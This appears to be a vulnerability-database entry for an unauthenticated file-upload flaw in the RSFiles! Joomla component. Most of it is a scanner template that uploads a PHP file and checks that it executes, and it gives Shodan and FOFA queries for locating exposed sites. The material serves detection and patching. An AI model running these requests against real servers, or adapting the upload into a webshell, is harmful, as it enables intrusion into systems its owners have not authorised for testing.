RSFiles! for Joomla - Arbitrary File Upload
CVE-2026-57827
Verified
Description
RSFiles! (com_rsfiles) for Joomla < 1.17.12 allows unauthenticated arbitrary file upload via the rsfiles.upload task. The write method performs no authentication, CSRF token, or file extension checks, allowing upload of executable PHP files to the web-accessible downloads/ directory.
Severity
Critical
CVSS Score
9.8
Exploit Probability
2%
Affected Product
rsfiles
Published Date
August 7, 2026
Template Author
omarkurt
CVE-2026-57827.yaml
id: CVE-2026-57827
info:
name: RSFiles! for Joomla - Arbitrary File Upload
author: omarkurt
severity: critical
description: |
RSFiles! (com_rsfiles) for Joomla < 1.17.12 allows unauthenticated arbitrary file upload via the rsfiles.upload task. The write method performs no authentication, CSRF token, or file extension checks, allowing upload of executable PHP files to the web-accessible downloads/ directory.
impact: |
Unauthenticated remote code execution via PHP webshell upload.
remediation: |
Update RSFiles! to version 1.17.12 or later.
reference:
- https://mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce/
- https://vulnerabletarget.com/VT-2026-57827
- https://www.rsjoomla.com/blog/view/644-unauthenticated-file-upload-fixed-in-rsfiles-version-11712-update-now.html
- https://nvd.nist.gov/vuln/detail/CVE-2026-57827
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-57827
epss-score: 0.02328
epss-percentile: 0.82215
cwe-id: CWE-434
metadata:
verified: true
max-request: 3
vendor: rsjoomla
product: rsfiles
framework: joomla
shodan-query: http.html:"com_rsfiles"
fofa-query: body="com_rsfiles"
tags: cve,cve2026,joomla,rsjoomla,rsfiles,file-upload,rce,intrusive
variables:
marker: "{{to_lower(rand_text_alpha(8))}}"
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
POST /index.php?option=com_rsfiles&task=rsfiles.checkupload HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "\"status\":\"ok\"")'
condition: and
internal: true
- raw:
- |
POST /index.php?option=com_rsfiles&task=rsfiles.upload HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----RSFilesBoundary57827
------RSFilesBoundary57827
Content-Disposition: form-data; name="file"; filename="{{marker}}.php"
Content-Type: application/x-php
<?php echo 'VT-2026-57827-{{marker}}'; ?>
------RSFilesBoundary57827--
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "\"status\":\"success\"")'
condition: and
internal: true
- raw:
- |
GET /downloads/{{marker}}.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- "contains(body, 'VT-2026-57827-{{marker}}')"
condition: and
# digest: 4a0a00473045022005534dcbb048905ad57a2b4917b11ee22aefa2939b17505cca3d93cc2278893f022100b878ac3e63259f5175667d96e481a5eb9f76fe85a3b57e1cf5a02c30a6f26ccb:922c64590222798bb761d5b6d8e729509.8Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2026-57827
CWE ID:
cwe-434
Remediation Steps
Update RSFiles! to version 1.17.12 or later.